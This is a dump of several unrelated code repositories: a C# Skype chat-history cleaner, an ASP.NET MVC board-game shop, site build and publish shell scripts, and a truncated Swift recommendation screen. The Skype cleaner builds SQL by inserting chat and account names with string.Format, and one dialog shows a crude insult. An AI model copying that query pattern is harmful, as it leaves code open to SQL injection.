SkypelDataService(ISkypelAccountDescription skypelAccountDescription) { if (skypelAccountDescription == null || string.IsNullOrEmpty(skypelAccountDescription.Name) || string.IsNullOrEmpty(skypelAccountDescription.DbPath)) { throw new ArgumentException("Invalid account description"); } if (!File.Exists(skypelAccountDescription.DbPath)) { throw new ArgumentException("Account database path is invalid"); } _currentAccount = skypelAccountDescription; } public IList<IChatRecipient> GetAllRecipients() { IList<IChatRecipient> result = new List<IChatRecipient>(); using (IDbConnection connection = GetConnectionForCurrentAccount()) { //TODO: put exact query below using (IDbCommand command = CreateCommandFromText(connection, "select m.dialog_partner as ChatName, " + "c.fullname as FullName from Messages m, " + "Contacts c where m.dialog_partner <> '' and " + "c.skypename=m.dialog_partner group by dialog_partner") ) { using (IDataReader reader = command.ExecuteReader()) { while (reader.Read()) { IChatRecipient recipient = new ChatRecipient { ChatToken = reader["ChatName"].ToString(), DisplayName = reader["FullName"].ToString() }; result.Add(recipient); } } } } return result; } public void CleanHistory(string chatName) { using (IDbConnection connection = GetConnectionForCurrentAccount()) { string commandText= string.Format("update Messages set body_Xml = '', timestamp={0} where {1}", UnixEpochHelper.UnixEpoch(), GetChatsFilterStringFor(_currentAccount.Name, chatName)); using (IDbCommand command = CreateCommandFromText(connection, commandText)) { command.ExecuteNonQuery(); } } } public int GetMessagesCount(string chatToken, long startTimeStamp, long endTimeStamp) { using (IDbConnection connection = GetConnectionForCurrentAccount()) { using (IDbCommand command = CreateCommandFromText(connection, string.Format( "select COUNT(1) from Messages where {0} and body_xml <> '' and timestamp > {1} and timestamp < {2}", GetChatsFilterStringFor(_currentAccount.Name, chatToken), startTimeStamp, endTimeStamp))) { return Convert.ToInt32(command.ExecuteScalar()); } } } public void CleanHistory(string chatToken, long startTimeStamp, long endTimeStamp) { using (IDbConnection connection = GetConnectionForCurrentAccount()) { string commandText = string.Format( "update Messages set body_Xml = '', timestamp={0} where {1} AND timestamp > {2} AND timestamp <= {3}", UnixEpochHelper.UnixEpoch(), GetChatsFilterStringFor(_currentAccount.Name, chatToken), startTimeStamp, endTimeStamp); using (IDbCommand command = CreateCommandFromText(connection, commandText)) { command.ExecuteNonQuery(); } } } private IDbCommand CreateCommandFromText(IDbConnection connection, string commandText) { var cmd = new SQLiteCommand((SQLiteConnection) connection) {CommandText = commandText}; return cmd; } private IDbConnection GetConnectionForCurrentAccount() { var connection = new SQLiteConnection( string.Format("Data Source={0}", _currentAccount.DbPath)); connection.Open(); return connection; } private string GetChatsFilterStringFor(string ownAccount, string recipient) { return string.Format("(chatname LIKE '%{0}%{1}%' OR chatname LIKE '%{1}%{0}%')", ownAccount, recipient); } } }<file_sep>/OccamRazor/Form1.cs using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; using OccamRazor.Utils; using SkypelToolset; using SkypelToolset.Database; using SkypelToolset.Interfaces; using SkypelToolset.Interfaces.Database; using SkypelToolset.Interfaces.Entities; namespace OccamRazor { public partial class Form1 : Form { private Skypel _currentCleaner; private IChatRecipient _currentRecipient; private List<ISkypelAccountDescription> _skypelAccountDescriptions; public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { if (_currentRecipient == null) return; DialogResult result = MessageBoxEx.Show(string.Format( "Are you sure you want to remove chat history with:\n\n{0}({1}){2}?", _currentRecipient.DisplayName, _currentRecipient.ChatToken, !checkBoxFilterByTime.Checked ? string.Empty : string.Format("\n\nfrom {0} till {1}", dateTimePickerStart.Value, dateTimePickerEnd.Value)), "Please confirm", MessageBoxButtons.YesNo, MessageBoxIcon.Question ); if (result == DialogResult.Yes) { try { CleanHistoryBasedOnSelection(); UpdateCleanButtonState(); MessageBoxEx.Show("Cleaning done!", "Some good news", MessageBoxButtons.OK, MessageBoxIcon.Information); } catch (Exception exception) { MessageBoxEx.Show( string.Format( "Error occured while cleanup.\n{0}\n\nDid you forget to close Skype before running cleanup?", exception.Message), "Some bad news", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } } } private void CleanHistoryBasedOnSelection() { if (!checkBoxFilterByTime.Checked) { _currentCleaner.CleanHistory(_currentRecipient.ChatToken); } else { _currentCleaner.CleanHistory(_currentRecipient.ChatToken, UnixEpochHelper.ToUnixEpoch(dateTimePickerStart.Value), UnixEpochHelper.ToUnixEpoch(dateTimePickerEnd.Value)); } } private void Form1_Load(object sender, EventArgs e) { _skypelAccountDescriptions = Skypel.GetAccounts(); SetAccounts(_skypelAccountDescriptions); } private void SetAccounts(List<ISkypelAccountDescription> skypelAccountDescriptions) { comboBoxProfiles.Items.Clear(); if (skypelAccountDescriptions != null) comboBoxProfiles.Items.AddRange(skypelAccountDescriptions.ToArray()); } private void comboBoxProfiles_SelectedIndexChanged(object sender, EventArgs e) { try { ISkypelDataService dataService = new SkypelDataService((ISkypelAccountDescription)comboBoxProfiles.SelectedItem); _currentCleaner = new Skypel(dataService); IList<IChatRecipient> recipients = _currentCleaner.LoadRecipients(); SetRecipients(recipients); UpdateCleanButtonState(); } catch (Exception ex) { MessageBox.Show(this, string.Format("Unexpected error occured: {0}", ex.Message), "Oops!"); } } private void SetRecipients(IEnumerable<IChatRecipient> recipients) { comboBoxRecipients.Items.Clear(); if (recipients != null) comboBoxRecipients.Items.AddRange(recipients.ToArray()); } private void comboBoxRecipients_SelectionChangeCommitted(object sender, EventArgs e) { } private void SetNumberOfMessages(int messages) { buttonClean.Text = messages == 0 ? "Nothing to clean" : string.Format("Clean {0} messages", messages); buttonClean.Enabled = messages != 0; } private void comboBoxRecipients_SelectedIndexChanged(object sender, EventArgs e) { _currentRecipient = (IChatRecipient)comboBoxRecipients.SelectedItem; UpdateCleanButtonState(); } private void UpdateCleanButtonState() { buttonDeleteAll.Enabled = _currentCleaner != null; if (_currentRecipient == null) { return; } long startTime = !checkBoxFilterByTime.Checked ? 0 : UnixEpochHelper.ToUnixEpoch(dateTimePickerStart.Value); long endTime = !checkBoxFilterByTime.Checked ? UnixEpochHelper.ToUnixEpoch(DateTime.Now) : UnixEpochHelper.ToUnixEpoch(dateTimePickerEnd.Value); int messages = _currentCleaner.GetMessagesCount(_currentRecipient, startTime, endTime); SetNumberOfMessages(messages); } private void checkBoxFilterByTime_CheckedChanged(object sender, EventArgs e) { dateTimePickerStart.Enabled = checkBoxFilterByTime.Checked; dateTimePickerEnd.Enabled = checkBoxFilterByTime.Checked; if (checkBoxFilterByTime.Checked) { dateTimePickerStart.Value = DateTime.Now.AddHours(-1); dateTimePickerEnd.Value = DateTime.Now; } UpdateCleanButtonState(); } private void dateTimePickerStart_ValueChanged(object sender, EventArgs e) { UpdateCleanButtonState(); } private void dateTimePickerEnd_ValueChanged(object sender, EventArgs e) { UpdateCleanButtonState(); } private void buttonDeleteAll_Click(object sender, EventArgs e) { var dialogResult = MessageBox.Show(this, "This will clean all history! Sure?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning); if (dialogResult == DialogResult.Yes) { _currentCleaner.CleanHistoryAll(); } else { MessageBox.Show("Pussy"); } } } }<file_sep>/Skypel.Toolset/SkypelAccountDescription.cs using SkypelToolset.Interfaces; namespace SkypelToolset { public class SkypelAccountDescription : ISkypelAccountDescription { public string Name { get; set; } public string DbPath { get; set; } } }
5144ce97b885f38f2a17a67c5e37e3c60ee9f4b1
[ "Markdown", "C#" ]
11
C#
ninjaboy/occamrazor
22743a07cfd0dd05267b7814e99d6f23648b5a92
c891c07080556f4e291e654d4260eaafc42f0185
refs/heads/master
<repo_name>VukasinVujic/website<file_sep>/bin/publish.sh #!/bin/sh export BIN_DIR=`dirname $0` export PROJECT_ROOT="${BIN_DIR}/.." . "${PROJECT_ROOT}/services/backend/name.py" export backend_app_name=${app_name} . "${PROJECT_ROOT}/services/frontend/name.ini" export frontend_app_name=${app_name} PASSWORD=`cat ${PROJECT_ROOT}/publish_password.txt` cd "${PROJECT_ROOT}" rm -rf ${PROJECT_ROOT}/build mkdir ${PROJECT_ROOT}/build cp -r "services/backend/${backend_app_name}/static" "build/" cp -r services/frontend/build/* "build/" rsync -P -avcl --delete-after build/ chubby:/usr/cbsd/jails-data/nginx-data/usr/local/www/new.tilda.center/ <file_sep>/bin/build.sh #!/bin/sh export BIN_DIR=`dirname $0` export PROJECT_ROOT="${BIN_DIR}/.." . "${PROJECT_ROOT}/services/backend/name.py" export backend_app_name=${app_name} . "${PROJECT_ROOT}/services/frontend/name.ini" export frontend_app_name=${app_name} rm -rf ${PROJECT_ROOT}/build mkdir ${PROJECT_ROOT}/build ${PROJECT_ROOT}/services/backend/bin/collect.sh ${PROJECT_ROOT}/services/frontend/bin/collect.sh cp -r "${PROJECT_ROOT}/services/backend/static" "${PROJECT_ROOT}/build/" cp -r ${PROJECT_ROOT}/services/frontend/build/* "${PROJECT_ROOT}/build/" <file_sep>/bin/devel.sh #!/bin/sh export BIN_DIR=`dirname $0` export PROJECT_ROOT="${BIN_DIR}/.." . "${PROJECT_ROOT}/services/backend/name.py" export backend_app_name=${app_name} export OFFLINE="${OFFLINE:=no}" export REGGAE="no" if [ "${1}" = "reggae" ]; then REGGAE="yes" fi cd "${PROJECT_ROOT}" if [ "${REGGAE}" = "yes" ]; then backend_hostname=$(sudo cbsd jexec user=devel "jname=${backend_app_name}" hostname) make offline=${OFFLINE} -C services/backend init sudo tmux new-session -s "${backend_app_name}" -d "make offline=${OFFLINE} -C services/backend devel" sudo tmux split-window -h -p 50 -t 0 "make OFFLINE=${OFFLINE} BACKEND_URL=http://${backend_hostname}:5000 -C services/frontend devel || sleep 10" sudo tmux a -t "${backend_app_name}" else backend_hostname='localhost' "${BIN_DIR}/download_repos.sh" env OFFLINE=${OFFLINE} SYSPKG=${SYSPKG} "${PROJECT_ROOT}/services/backend/bin/init.sh" tmux new-session -s "${backend_app_name}" -d "env OFFLINE=${OFFLINE} SYSPKG=${SYSPKG} ${PROJECT_ROOT}/services/backend/bin/devel.sh" tmux split-window -h -p 50 -t 0 "env OFFLINE=${OFFLINE} BACKEND_URL=http://${backend_hostname}:5000 ${PROJECT_ROOT}/services/frontend/bin/devel.sh" tmux a -t "${backend_app_name}" fi
49fa44b87223a80b49f217930e58534f8f6872d6
[ "Shell" ]
3
Shell
VukasinVujic/website
13ef840a2a66952ef151f17cc0d85c3a94c48377
bb8f2a2af8f572f469e2ae7d03c3e7cb465eb287
refs/heads/master
<repo_name>webhost1232x/hackademy-2015<file_sep>/data-analytics/README.md ## Data Analytics Presentation Material Author: <NAME> @MathYourLife Enclosed are the limited materials/side deck for the "Data Analytics" presentation to Dyn's Hackademy 2015. * Presentation: (Hackademy 2015 - Data Analytics.pdf) * Logistic Example: * IPython Notebook (LogisticRegression.ipynb) * Associated Python script (LogisticRegression.py) * Rendered Notebook (LogisticRegression.html) <file_sep>/tic-tac-toe/ttt.js /** * The current turn state of the game. This effectively indicates which user's * turn it is * @type {string} */ var TURN_STATE = "X"; /** * Hardcoded list of all of our board's td ids * @type {Array} */ var TILE_IDS = ["0_0", "0_1", "0_2", "1_0", "1_1", "1_2", "2_0", "2_1", "2_2"]; /** * Custom Array method that returns true if all values in an Array are the same */ Array.prototype.allValuesSame = function() { for(var i = 1; i < this.length; i++) { if(this[i] !== this[0]) { return false; } } return true; } /** * Function which determines whether the last click (at cell idx) has * succesfully caused the game to be solved. Returns true if the last move * solved the game, false otherwise. */ var solved = function(idx) { var state_class = TURN_STATE == "X" ? "ex" : "oh"; /** * Inner solved function that determines if the last move won the game by * solving vertically */ var solved_vert = function() { var col = idx.split("_")[1]; for (var i = 0; i < 3; i++) { var test_id = "#" + i.toString() + "_" + col; var $span = $($(test_id).children()[0]); if($span.attr("class") != state_class) { return false; } }; return true; }; /** * Inner solved function that determines if the last move won the game by * solving horizontally */ var solved_hor = function() { var row = idx.split("_")[0]; for (var i = 0; i < 3; i++) { var test_id = "#" + row + "_" + i.toString(); var $span = $($(test_id).children()[0]); if($span.attr("class") != state_class) { return false; } }; return true; }; /** * Inner solved function that determines if the last move won the game by * solving diagonally. This is a bit hacky, but hey, it works. */ var solved_diag = function() { var valid_ids = ["0_0", "0_2", "1_1", "2_0", "2_2"]; if(valid_ids.indexOf(idx) != -1) { var ltr = ["0_0", "1_1", "2_2"]; var btt = ["2_0", "1_1", "0_2"]; var classes = []; for (var i = 0; i < ltr.length; i++) { var test_id = "#" + ltr[i]; var $span = $($(test_id).children()[0]); classes.push($span.attr("class")); }; // If the span has had it's class set, and the entire diagonal // matches, then return true if(classes.indexOf(undefined) == -1 && classes.indexOf("") == -1 && classes.allValuesSame()) { return true; } classes = []; for (var i = 0; i < btt.length; i++) { var test_id = "#" + btt[i]; var $span = $($(test_id).children()[0]); classes.push($span.attr("class")); }; // If the span has had it's class set, and the entire diagonal // matches, then return true if(classes.indexOf(undefined) == -1 && classes.indexOf("") == -1 && classes.allValuesSame()) { return true; } } return false; }; // If any of the solutions returned true, then return true. Otherwise return // false. Note that chaining the logical ORs together like this will lazily // evaluate the additional solved_* functions. Ie, if solved_vert returns // true, solved_hor won't run because we've already determined the // truthiness of the statement. return solved_vert() || solved_hor() || solved_diag(); } /** * This function determines if the game has ended in a draw. Returns true if * the game board is full, and neither player has succesfully won. Returns * false otherwise. */ var no_winners = function() { var classes = []; for(var i = 0; i < TILE_IDS.length; i++) { var cell_id = "#" + TILE_IDS[i]; var $span = $($(cell_id).children()[0]); classes.push($span.attr("class")); }; if(classes.indexOf(undefined) == -1 && classes.indexOf("") == -1) { return true; } return false; } /** * Clear the entire board and reset each tile to it's original state */ var reset_board = function() { TILE_IDS.forEach(function(idx){ var real_id = "#" + idx; var classes = ["ex", "oh"]; var $span = $($(real_id).children()[0]); $span.removeClass($span.attr("class")); $span.text(""); }); } /** * On page load, attach a call back to all of our board tiles to determine what * shape is to be placed on the tile for this turn. Then change to the other * user's turn */ $(document).ready(function() { // Add the appropriate callback to the reset button $(document).on("click", "#resetbtn", function() { reset_board(); }); // For each tile, add an on_click callback that checks to see if the click // event has caused the current player to win the game TILE_IDS.forEach(function(idx){ var real_id = "#" + idx; var classes = ["ex", "oh"]; $(document).on('click', real_id, function() { var $span = $($(real_id).children()[0]); var state_class = TURN_STATE == "X" ? "ex" : "oh"; // Fail early if we've clicked on a tile that's already set, don't // want to allow players to undo other player's moves if(classes.indexOf($span.attr("class")) != -1) { return; } // Set the text of the span to the current value of TURN_STATE $span.text(TURN_STATE) // Switch on the current turn state to assign the appropriate CSS // class to the current span, and determine if the current user has // won. If the current user has won, reset the board and allow the // loser to play first on the next round. If the current move did // not win the game, update TURN_STATE to indicate that it's the // next player's turn. switch(TURN_STATE) { case "X": $span.toggleClass("ex") if(solved(idx)) { alert(TURN_STATE + " WINS!"); reset_board(); } TURN_STATE = "O" break; default: // case "O" $span.toggleClass("oh") if(solved(idx)) { alert(TURN_STATE + " WINS!"); reset_board(); } TURN_STATE = "X" } // Check to see if we've hit a draw. If so, alert the user and reset // the game. if(no_winners()) { alert("No Winner :("); reset_board(); } // Indicate to the user who's turn it is by updating the turn piece // of the table caption $("#turn").text(TURN_STATE); }); }); }); <file_sep>/data-analytics/LogisticRegression.py # coding: utf-8 # ## Logistic Regression # # A student has answered $15 - 8 = $ eleven times over the course of the year. We have tracked for each attempt whether the student was correct along with a measure of their mathematical proficiency. # # If a second student is practicing subtraction, can we determine if this question is the appropriate difficulty for them given that we have an estimate of the student's mathematical proficiency? # # In[21]: import math import matplotlib import matplotlib.pyplot as plt get_ipython().magic('matplotlib inline') plt.rcParams['figure.figsize'] = (12, 6) font = {'size': 20} matplotlib.rc('font', **font) # ### The recorded data # # The eleven data points are shown below in the form (x, y) where # # ``` # x = the estimate proficiency of the student at the time the question was answered (range 2-13) # y = if the question was answered correctly (0 = incorrect, 1 = correct) # ``` # In[23]: data = [ (2,0),(3,0),(4,0),(6,0),(6,1),(7,0),(8,0),(8,1),(10,1),(11,1),(13,1) ] xmin = 2 xmax = 13 # ### The Logistic Function # # $$ F(x) = \frac{1}{1+e^{-x}}$$ # In[24]: def logistic_regression(): incorrect = [x[0] for x in data if x[1] == 0] correct = [x[0] for x in data if x[1] == 1] plt.figure() ax = plt.axes() ax.set_xlabel("proficiency") ax.set_ylabel("correct or incorrect") ax.set_ylim((-0.2, 1.2)) ax.plot(incorrect, [0 for x in incorrect], 'o', c='b', ms=12) ax.plot(correct, [1 for x in correct], 'o', c='g', ms=12) ax.grid() x = [v/1000.0 * (xmax-xmin) + xmin for v in range(1000)] y = [logistic(v) for v in x] ax.plot(x, y, '-', alpha=0.7, c='r', lw=4) def logistic(x): return 1 / (1 + math.exp(-(b0+b1*x))) # For this example we'll stick with the linear expression in the exponent, but allow for adjustment of the slope and intercept terms. # # $$F(x) = \frac{1}{1+e^{-(\beta_0+\beta_1x)}}$$ # In[35]: b0 = -14; b1 = 2 logistic_regression() # In[ ]: <file_sep>/README.md # hackademy-2015 Resources for Hackademy 2015
fedbdb6ce3011aa95b1930edad3e15784d68656c
[ "Markdown", "Python", "JavaScript" ]
4
Markdown
webhost1232x/hackademy-2015
372ab92ac4285e11a5a21148c66add03e4a733f6
9220e2dbaef3e8e8b2d7d656924a95a789164472
refs/heads/master
<file_sep>using BoardGeekShopMVC.Data.Interfaces; using BoardGeekShopMVC.Data.Models; using BoardGeekShopMVC.ViewModels; using Microsoft.AspNetCore.Mvc; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace BoardGeekShopMVC.Controllers { public class ProductController : Controller { private readonly ICategoryRepository _categoryRepository; private readonly IProductRepository _productRepository; public ProductController(ICategoryRepository categoryRepository, IProductRepository productRepository) { _categoryRepository = categoryRepository; _productRepository = productRepository; } public ViewResult List(string category) { string _category = category; IEnumerable<Product> products; string currentCategory = string.Empty; if (string.IsNullOrEmpty(category)) { products = _productRepository.Products.OrderBy(p => p.ProductID); currentCategory = "All products"; } else { if (string.Equals("Boardgame", _category, StringComparison.OrdinalIgnoreCase)) { products = _productRepository.Products.Where(p => p.Category.Name.Equals("Boardgame")).OrderBy(p => p.Name); } else { products = _productRepository.Products.Where(p => p.Category.Name.Equals("Dice")).OrderBy(p => p.Name); } currentCategory = _category; } ViewBag.Name = "Products"; var productViewModel = new ProductListViewModel() { Products = products, CurrentCategory = currentCategory }; return View(productViewModel); } } } <file_sep>using Microsoft.AspNetCore.Http; using Microsoft.EntityFrameworkCore; using Microsoft.Extensions.DependencyInjection; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace BoardGeekShopMVC.Data.Models { public class ShoppingCart { private readonly BoardGeekShopDbContext _boardGeekShopDbContext; public ShoppingCart(BoardGeekShopDbContext boardGeekShopDbContext) { _boardGeekShopDbContext = boardGeekShopDbContext; } public string ShoppingCartID { get; set; } public List<ShoppingCartItem> ShoppingCartItems { get; set; } public static ShoppingCart GetCart(IServiceProvider services) { ISession session = services.GetRequiredService<IHttpContextAccessor>()?.HttpContext.Session; var context = services.GetService<BoardGeekShopDbContext>(); string cartID = session.GetString("CartID") ?? Guid.NewGuid().ToString(); session.SetString("CartID", cartID); return new ShoppingCart(context) { ShoppingCartID = cartID }; } public void AddToCart(Product product, int amount) { var shoppingCartItem = _boardGeekShopDbContext.ShoppingCartItems.SingleOrDefault(sci => sci.Product.ProductID == product.ProductID && sci.ShoppingCartID == ShoppingCartID); if (shoppingCartItem == null) { shoppingCartItem = new ShoppingCartItem { ShoppingCartID = ShoppingCartID, Product = product, Quantity = amount }; _boardGeekShopDbContext.ShoppingCartItems.Add(shoppingCartItem); } else { shoppingCartItem.Quantity += amount; } _boardGeekShopDbContext.SaveChanges(); } public int RemoveFromCart(Product product) { var shoppingCartItem = _boardGeekShopDbContext.ShoppingCartItems.SingleOrDefault(sci => sci.Product.ProductID == product.ProductID && sci.ShoppingCartID == ShoppingCartID); var currentAmout = 0; if (shoppingCartItem != null) { if (shoppingCartItem.Quantity > 1) { shoppingCartItem.Quantity--; currentAmout = shoppingCartItem.Quantity; } else { _boardGeekShopDbContext.ShoppingCartItems.Remove(shoppingCartItem); } } _boardGeekShopDbContext.SaveChanges(); return currentAmout; } public List<ShoppingCartItem> GetShoppingCartItems() { return ShoppingCartItems ?? (ShoppingCartItems = _boardGeekShopDbContext.ShoppingCartItems .Where(c => c.ShoppingCartID == ShoppingCartID) .Include(s => s.Product).ToList()); } public void ClearCart() { var cartItems = _boardGeekShopDbContext.ShoppingCartItems .Where(c => c.ShoppingCartID == ShoppingCartID); _boardGeekShopDbContext.ShoppingCartItems.RemoveRange(cartItems); _boardGeekShopDbContext.SaveChanges(); } public double GetShoppingCartTotal() { return _boardGeekShopDbContext.ShoppingCartItems .Where(c => c.ShoppingCartID == ShoppingCartID) .Select(c => c.Product.Price * c.Quantity).Sum(); } } } <file_sep>using BoardGeekShopMVC.Data.Interfaces; using BoardGeekShopMVC.Data.Models; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace BoardGeekShopMVC.Data.Mocks { public class MockCategoryRepository : ICategoryRepository { public IEnumerable<Category> Categories { get { return new List<Category> { new Category { Name = "Boardgame" }, new Category { Name = "Dice" } }; } } }; } <file_sep>using BoardGeekShopMVC.Data.Interfaces; using BoardGeekShopMVC.Data.Models; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace BoardGeekShopMVC.Data.Repositories { public class CategoryRepository : ICategoryRepository { private readonly BoardGeekShopDbContext _boardGeekShopDbContext; public CategoryRepository(BoardGeekShopDbContext boardGeekShopDbContext) { _boardGeekShopDbContext = boardGeekShopDbContext; } public IEnumerable<Category> Categories => _boardGeekShopDbContext.Categories; } } <file_sep>using BoardGeekShopMVC.Data.Interfaces; using BoardGeekShopMVC.Data.Models; using Microsoft.EntityFrameworkCore; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace BoardGeekShopMVC.Data.Repositories { public class ProductRepository : IProductRepository { private readonly BoardGeekShopDbContext _boardGeekShopDbContext; public ProductRepository(BoardGeekShopDbContext boardGeekShopDbContext) { _boardGeekShopDbContext = boardGeekShopDbContext; } public IEnumerable<Product> Products => _boardGeekShopDbContext.Products.Include(c => c.Category); public IEnumerable<Product> OnDisplayProduct => _boardGeekShopDbContext.Products.Where(p => p.OnDisplay).Include(c => c.Category); public Product GetProductById(int productId) => _boardGeekShopDbContext.Products.FirstOrDefault(p => p.ProductID == productId); } } <file_sep>using BoardGeekShopMVC.Data.Models; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace BoardGeekShopMVC.ViewModels { public class HomeViewModel { public IEnumerable<Product> OnDisplayProducts { get; set; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace BoardGeekShopMVC.Data.Models { public class Order { public int OrderId { get; set; } public List<OrderDetail> OrderDetails { get; set; } public string FirstName { get; set; } public string LastName { get; set; } public string Address { get; set; } public double OrderTotal { get; set; } public DateTime OrderDate { get; set; } } } <file_sep># BoardGeekShopMVC ## Creating a shoppingcart example <file_sep>using BoardGeekShopMVC.Data.Interfaces; using BoardGeekShopMVC.Data.Models; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace BoardGeekShopMVC.Data.Mocks { public class MockProductRepository : IProductRepository { private readonly ICategoryRepository _categoryRepository = new MockCategoryRepository(); public IEnumerable<Product> Products { get { return new List<Product> { new Product { Name ="Champions of Midgard", CategoryID = _categoryRepository.Categories.First().CategoryID, FullDescription ="Champions of Midgard is a middleweight, Viking-themed, worker placement game with dice rolling in which players are leaders of Viking clans who have traveled to an embattled Viking harbor town to help defend it against the threat of trolls, draugr, and other mythological Norse beasts.", ShortDescription = "Champions of Midgard is a middleweight, Viking-themed, worker placement game", Price =59.90, ImagePath ="/images/ChampionsOfMidgard.jpg", InStock = true, OnDisplay = true }, new Product{ Name ="Terraforming Mars", CategoryID = _categoryRepository.Categories.First().CategoryID, FullDescription ="In Terraforming Mars, you play one of those corporations and work together in the terraforming process, but compete for getting victory points that are awarded not only for your contribution to the terraforming, but also for advancing human infrastructure throughout the solar system, and doing other commendable things.", ShortDescription ="In Terraforming Mars, you play one of those corporations and work together in the terraforming process, but compete for getting victory points", Price =59.90, ImagePath ="/images/TerraformingMars.jpg", InStock = true, OnDisplay = false }, new Product{ Name ="Scythe", CategoryID =_categoryRepository.Categories.First().CategoryID, FullDescription ="Scythe is an engine-building game set in an alternate-history 1920s period. It is a time of farming and war, broken hearts and rusted gears, innovation and valor. In Scythe, each player represents a character from one of five factions of Eastern Europe who are attempting to earn their fortune and claim their faction's stake in the land around the mysterious Factory.", ShortDescription ="Scythe is an engine-building game set in an alternate-history 1920s period.", Price =69.90, ImagePath ="/images/Scythe.jpg", InStock = true, OnDisplay = false }, new Product{ Name ="Gloomhaven", CategoryID =_categoryRepository.Categories.First().CategoryID, FullDescription ="Gloomhaven is a game of Euro-inspired tactical combat in a persistent world of shifting motives. Players will take on the role of a wandering adventurer with their own special set of skills and their own reasons for traveling to this dark corner of the world. ", ShortDescription = "Gloomhaven is a game of Euro-inspired tactical combat in a persistent world of shifting motives.", Price =89.90, ImagePath ="/images/Gloomhaven.jpg", InStock = true, OnDisplay = false }, new Product{ Name ="Azul", CategoryID =1, FullDescription ="In the game Azul, players take turns drafting colored tiles from suppliers to their player board. Later in the round, players score points based on how they've placed their tiles to decorate the palace. Extra points are scored for specific patterns and completing sets; wasted supplies harm the player's score. The player with the most points at the end of the game wins.", ShortDescription = "In the game Azul, players take turns drafting colored tiles from suppliers to their player board.", Price =39.90, ImagePath ="/images/Azul.jpg", InStock= true, OnDisplay = true }, new Product{ Name ="<NAME>!", CategoryID =_categoryRepository.Categories.First().CategoryID, FullDescription ="In the super-fast sushi card game Sushi Go!, you are eating at a sushi restaurant and trying to grab the best combination of sushi dishes as they whiz by. Score points for collecting the most sushi rolls or making a full set of sashimi. Dip your favorite nigiri in wasabi to triple its value! And once you've eaten it all, finish your meal with all the pudding you've got!", ShortDescription = "In the super-fast sushi card game Sushi Go!, you are eating at a sushi restaurant and trying to grab the best combination of sushi dishes as they whiz by.", Price =29.90, ImagePath ="/images/SushiGo.jpg", InStock = true, OnDisplay = false }, new Product{ Name ="TDSO Metal Fire Forge Silver & Black Enamel 7 Dice Polyset", CategoryID = _categoryRepository.Categories.Last().CategoryID, FullDescription ="This is a 7 Dice Polyset with detailed raised edges and numbers. These are solid metal and one of the most popular dice ranges we do. Contains one of each of the following: D4,D6, D8, D10, D12, D20 and Percentile.", ShortDescription = "This is a 7 Dice Polyset with detailed raised edges and numbers", Price =35.00, ImagePath ="/images/DiceMetal.jpg", OnDisplay = false, InStock = true }, new Product{ Name ="TDSO Unicorn Sparkle 7 Dice Polyset", CategoryID = _categoryRepository.Categories.Last().CategoryID, FullDescription ="This is a standard 16mm full sized dice set. This is a multi colour dice set which a shimmer/sparkle/transparent effect, the highest number on each dice has the unicorn logo instead of the number. Each set contains one of each: D4, D6, D8, D10, D12, D20 and Percentile Dice.", ShortDescription = "This is a standard 16mm full sized dice set. This is a multi colour dice set which a shimmer/sparkle/transparent effect", Price =9.90, ImagePath ="/images/UnicornDice.jpg", OnDisplay = true, InStock = true, }, new Product{ Name ="GameScience Opaque Yellow & Black Ink 7 Dice Polyset", CategoryID = _categoryRepository.Categories.Last().CategoryID, FullDescription ="Absolute Precision 16mm 7 Dice Polyset with hand inked numbers. Contains one each of the following dice: D4, D6, D8, D10, D12, D20 and Percentile. All GameScience precision dice are precision-tested and razor-edged (with sharp points!) because they have not been tumbled or sanded. To smooth down the spot on your die that is rough from being broken from the sprue, simply use hobby/automotive sandpaper. These sharp-edged dice are better than the egg-shaped round-edged imported dice because they will roll accurately.", ShortDescription ="Absolute Precision 16mm 7 Dice Polyset with hand inked numbers.", Price =29.90, ImagePath ="/images/YellowDice.jpg", InStock = true, OnDisplay = false } }; } } public IEnumerable<Product> OnDisplayProduct { get; } public Product GetProductById(int productId) { throw new NotImplementedException(); } } } <file_sep>using BoardGeekShopMVC.Data.Models; using Microsoft.EntityFrameworkCore; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace BoardGeekShopMVC.Data { public class BoardGeekShopDbContext : DbContext { public BoardGeekShopDbContext(DbContextOptions<BoardGeekShopDbContext> options) : base(options) { } public DbSet<Product> Products { get; set; } public DbSet<Category> Categories { get; set; } public DbSet<ShoppingCartItem> ShoppingCartItems { get; set; } public DbSet<Order> Orders { get; set; } public DbSet<OrderDetail> OrderDetails { get; set; } } }
45b8e17472ade12c65052dfea37daab42471e566
[ "Markdown", "C#" ]
10
C#
AidosMarcos/BoardGeekShopMVC
25e7a1d8d0af008314d63877fa2649e145d7b5f0
6020598ab7ad7b72f7dc736d73cf78a6ca59121f
refs/heads/master
<repo_name>izlizarazo/Recommend-App<file_sep>/Recommend App/Recommend App/RecommendViewController.swift // // RecommendViewController.swift // Recommend App // // Created by Spence on 7/25/18. // Copyright © 2018 Spence. All rights reserved. // import Foundation import UIKit class RecommendViewController: UIViewController { @IBOutlet weak var recommendationlabel: UILabel! @IBAction func anothermovie(_ sender: Any) { random() } @IBOutlet weak var images: UIImageView! var recommendationlist: [String] = ["Moana","Coco","Incredibles","Lion King","Black Panther"] var movies: [String] = ["Moana.jpg","Coco1.jpeg","Incred1.jpeg","LionK1","BP1.jpg"] var currentPosition: Int = 0 func random() { let recCount = recommendationlist.count currentPosition = Int(arc4random_uniform(UInt32(recCount))) let randomSelection = recommendationlist[currentPosition] recommendationlabel.text = randomSelection images.image = UIImage(named: movies[currentPosition]) } override func viewDidLoad() { super.viewDidLoad() // Do any additional setup after loading the view. } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } /* // MARK: - Navigation // In a storyboard-based application, you will often want to do a little preparation before navigation override func prepare(for segue: UIStoryboardSegue, sender: Any?) { // Get the new view controller using 